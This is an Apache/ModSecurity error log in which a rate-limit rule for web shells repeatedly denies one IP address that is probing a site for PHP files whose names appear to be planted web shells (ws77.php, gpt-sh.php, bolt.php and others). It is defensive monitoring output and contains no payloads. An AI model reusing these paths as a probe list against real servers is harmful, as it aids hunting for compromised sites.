[Wed Apr 01 21:05:52.331999 2026] [:error] [pid 8910:tid 8976] [client 52.156.211.140:37247] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "ac0YMKJZINUcF3tYgExiJwAAAQg"]
[Wed Apr 01 21:05:52.858363 2026] [:error] [pid 8909:tid 8959] [client 52.156.211.140:4075] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "ac0YMDvP_a0662gDl6DJSgAAANI"]
[Wed Apr 01 21:05:53.378775 2026] [:error] [pid 8908:tid 8920] [client 52.156.211.140:37192] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ac0YMfkmxtJXGnLdvgCJhwAAAIc"]
[Wed Apr 01 21:05:53.887958 2026] [:error] [pid 8908:tid 8921] [client 52.156.211.140:37241] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ac0YMfkmxtJXGnLdvgCJiQAAAIg"]
[Wed Apr 01 21:05:54.407954 2026] [:error] [pid 17856:tid 17860] [client 52.156.211.140:37226] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ac0YMj7Idlm5j9frhqQzigAAAEI"]
[Wed Apr 01 21:05:55.911800 2026] [:error] [pid 8909:tid 8954] [client 52.156.211.140:37033] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ac0YMzvP_a0662gDl6DJVQAAAM0"]
[Wed Apr 01 21:05:56.434305 2026] [:error] [pid 17856:tid 17875] [client 52.156.211.140:37236] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "ac0YND7Idlm5j9frhqQzkAAAAFE"]
[Wed Apr 01 21:05:56.986643 2026] [:error] [pid 8995:tid 9013] [client 52.156.211.140:37004] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "ac0YNOonaBjs3qxcRefKKAAAAA8"]
[Wed Apr 01 21:05:57.520181 2026] [:error] [pid 8908:tid 8923] [client 52.156.211.140:37218] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "ac0YNfkmxtJXGnLdvgCJnwAAAIo"]
[Wed Apr 01 21:05:58.037374 2026] [:error] [pid 62559:tid 62585] [client 52.156.211.140:37042] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "ac0YNi7NKI8IaNKZFIegCwAAAVg"]
[Wed Apr 01 21:05:58.589585 2026] [:error] [pid 17856:tid 17874] [client 52.156.211.140:37188] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "ac0YNj7Idlm5j9frhqQzrAAAAFA"]
[Wed Apr 01 21:05:59.102794 2026] [:error] [pid 17856:tid 17876] [client 52.156.211.140:4033] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "ac0YNz7Idlm5j9frhqQzrwAAAFI"]
[Wed Apr 01 21:06:00.622749 2026] [:error] [pid 8908:tid 8937] [client 52.156.211.140:37011] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "ac0YOPkmxtJXGnLdvgCJvgAAAJg"]
[Wed Apr 01 21:06:01.170994 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:37044] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "ac0YOfkmxtJXGnLdvgCJxQAAAI8"]
[Wed Apr 01 21:06:01.679483 2026] [:error] [pid 62559:tid 62571] [client 52.156.211.140:37201] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ac0YOS7NKI8IaNKZFIegFgAAAUo"]
[Wed Apr 01 21:06:02.187867 2026] [:error] [pid 8909:tid 8958] [client 52.156.211.140:37009] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ac0YOjvP_a0662gDl6DJeAAAANE"]
[Wed Apr 01 21:06:02.720107 2026] [:error] [pid 17856:tid 17865] [client 52.156.211.140:37007] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ac0YOj7Idlm5j9frhqQzwAAAAEc"]
[Wed Apr 01 21:06:03.251820 2026] [:error] [pid 17856:tid 17872] [client 52.156.211.140:37027] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "ac0YOz7Idlm5j9frhqQzyQAAAE4"]
[Wed Apr 01 21:06:04.861491 2026] [:error] [pid 62559:tid 62573] [client 52.156.211.140:37217] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac0YPC7NKI8IaNKZFIegIAAAAUw"]
[Wed Apr 01 21:06:05.372151 2026] [:error] [pid 17856:tid 17865] [client 52.156.211.140:37216] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac0YPT7Idlm5j9frhqQzzgAAAEc"]
[Wed Apr 01 21:06:06.878857 2026] [:error] [pid 8995:tid 9006] [client 52.156.211.140:37035] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac0YPuonaBjs3qxcRefKMgAAAAg"]
[Wed Apr 01 21:06:07.407979 2026] [:error] [pid 17856:tid 17876] [client 52.156.211.140:37233] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac0YPz7Idlm5j9frhqQz4gAAAFI"]
[Wed Apr 01 21:06:07.929344 2026] [:error] [pid 8908:tid 8920] [client 52.156.211.140:37207] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h02ugyh.php"] [unique_id "ac0YP_kmxtJXGnLdvgCJzwAAAIc"]
[Wed Apr 01 21:06:08.431908 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:4042] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h02ugyh.php"] [unique_id "ac0YQDvP_a0662gDl6DJlwAAAMo"]
[Wed Apr 01 21:06:08.931528 2026] [:error] [pid 17856:tid 17877] [client 52.156.211.140:37185] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h02ugyh.php"] [unique_id "ac0YQD7Idlm5j9frhqQz7AAAAFM"]
[Wed Apr 01 21:06:10.441104 2026] [:error] [pid 17856:tid 17861] [client 52.156.211.140:4037] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h02ugyh.php"] [unique_id "ac0YQj7Idlm5j9frhqQz8AAAAEM"]
[Wed Apr 01 21:06:10.944919 2026] [:error] [pid 62559:tid 62573] [client 52.156.211.140:37245] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad.php"] [unique_id "ac0YQi7NKI8IaNKZFIegKwAAAUw"]
[Wed Apr 01 21:06:12.037947 2026] [:error] [pid 8910:tid 8976] [client 52.156.211.140:37223] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad.php"] [unique_id "ac0YRKJZINUcF3tYgExiRQAAAQg"]
[Wed Apr 01 21:06:12.545529 2026] [:error] [pid 8995:tid 9000] [client 52.156.211.140:37203] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad.php"] [unique_id "ac0YROonaBjs3qxcRefKPQAAAAI"]
[Wed Apr 01 21:06:13.062308 2026] [:error] [pid 8909:tid 8958] [client 52.156.211.140:37186] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad.php"] [unique_id "ac0YRTvP_a0662gDl6DJqgAAANE"]
[Wed Apr 01 21:06:13.651746 2026] [:error] [pid 17856:tid 17881] [client 52.156.211.140:37187] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "ac0YRT7Idlm5j9frhqQ0AAAAAFc"]
[Wed Apr 01 21:06:14.183433 2026] [:error] [pid 17856:tid 17862] [client 52.156.211.140:37221] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "ac0YRj7Idlm5j9frhqQ0BgAAAEQ"]
[Wed Apr 01 21:06:15.508944 2026] [:error] [pid 8995:tid 9020] [client 52.156.211.140:37031] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "ac0YR-onaBjs3qxcRefKQgAAABY"]
[Wed Apr 01 21:06:19.267649 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:4065] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "ac0YS_kmxtJXGnLdvgCJ4QAAAI8"]
[Wed Apr 01 21:06:19.797900 2026] [:error] [pid 8995:tid 9017] [client 52.156.211.140:37196] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "ac0YS-onaBjs3qxcRefKUgAAABM"]
[Wed Apr 01 21:06:20.313981 2026] [:error] [pid 8910:tid 8976] [client 52.156.211.140:37047] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "ac0YTKJZINUcF3tYgExiTwAAAQg"]
[Wed Apr 01 21:06:20.816138 2026] [:error] [pid 8908:tid 8917] [client 52.156.211.140:37028] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "ac0YTPkmxtJXGnLdvgCJ5wAAAIQ"]
[Wed Apr 01 21:06:44.972335 2026] [:error] [pid 8909:tid 8960] [client 52.156.211.140:4044] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac0YZDvP_a0662gDl6DKMwAAANM"]
[Wed Apr 01 21:06:45.553890 2026] [:error] [pid 8909:tid 8949] [client 52.156.211.140:37189] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac0YZTvP_a0662gDl6DKNgAAAMg"]
[Wed Apr 01 21:06:46.056229 2026] [:error] [pid 17856:tid 17871] [client 52.156.211.140:37025] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac0YZj7Idlm5j9frhqQ0XQAAAE0"]
[Wed Apr 01 21:06:46.622571 2026] [:error] [pid 8908:tid 8914] [client 52.156.211.140:37224] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "ac0YZvkmxtJXGnLdvgCKUAAAAIE"]
[Wed Apr 01 21:06:47.127323 2026] [:error] [pid 17856:tid 17862] [client 52.156.211.140:37197] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "ac0YZz7Idlm5j9frhqQ0YwAAAEQ"]
[Wed Apr 01 21:06:47.653187 2026] [:error] [pid 8909:tid 8965] [client 52.156.211.140:37001] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "ac0YZzvP_a0662gDl6DKRgAAANg"]
[Wed Apr 01 21:06:48.156984 2026] [:error] [pid 8908:tid 8913] [client 52.156.211.140:37228] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "ac0YaPkmxtJXGnLdvgCKVQAAAIA"]
[Wed Apr 01 21:06:48.668171 2026] [:error] [pid 8995:tid 9007] [client 52.156.211.140:37242] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelio1.php"] [unique_id "ac0YaOonaBjs3qxcRefKggAAAAk"]
[Wed Apr 01 21:06:49.183793 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:36996] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac0YaTvP_a0662gDl6DKTQAAAMw"]
[Wed Apr 01 21:06:51.081546 2026] [:error] [pid 17856:tid 17881] [client 52.156.211.140:4073] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac0Yaz7Idlm5j9frhqQ0bwAAAFc"]
[Wed Apr 01 21:06:51.592014 2026] [:error] [pid 17856:tid 17877] [client 52.156.211.140:37040] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac0Yaz7Idlm5j9frhqQ0cAAAAFM"]
[Wed Apr 01 21:06:52.103726 2026] [:error] [pid 17856:tid 17880] [client 52.156.211.140:37026] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac0YbD7Idlm5j9frhqQ0dQAAAFY"]
[Wed Apr 01 21:06:52.640919 2026] [:error] [pid 8909:tid 8943] [client 52.156.211.140:37050] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ac0YbDvP_a0662gDl6DKYAAAAMI"]
[Wed Apr 01 21:06:54.144601 2026] [:error] [pid 8995:tid 9015] [client 52.156.211.140:37053] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ac0YbuonaBjs3qxcRefKhQAAABE"]
[Wed Apr 01 21:06:54.677704 2026] [:error] [pid 17856:tid 17880] [client 52.156.211.140:37017] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ac0Ybj7Idlm5j9frhqQ0hAAAAFY"]
[Wed Apr 01 21:06:55.183215 2026] [:error] [pid 17856:tid 17870] [client 52.156.211.140:3987] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ac0Ybz7Idlm5j9frhqQ0iQAAAEw"]
[Wed Apr 01 21:06:56.704884 2026] [:error] [pid 8909:tid 8962] [client 52.156.211.140:37187] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac0YcDvP_a0662gDl6DKfgAAANU"]
[Wed Apr 01 21:06:57.215634 2026] [:error] [pid 8909:tid 8957] [client 52.156.211.140:4046] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac0YcTvP_a0662gDl6DKhQAAANA"]
[Wed Apr 01 21:06:57.735615 2026] [:error] [pid 8909:tid 8962] [client 52.156.211.140:37008] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac0YcTvP_a0662gDl6DKjgAAANU"]
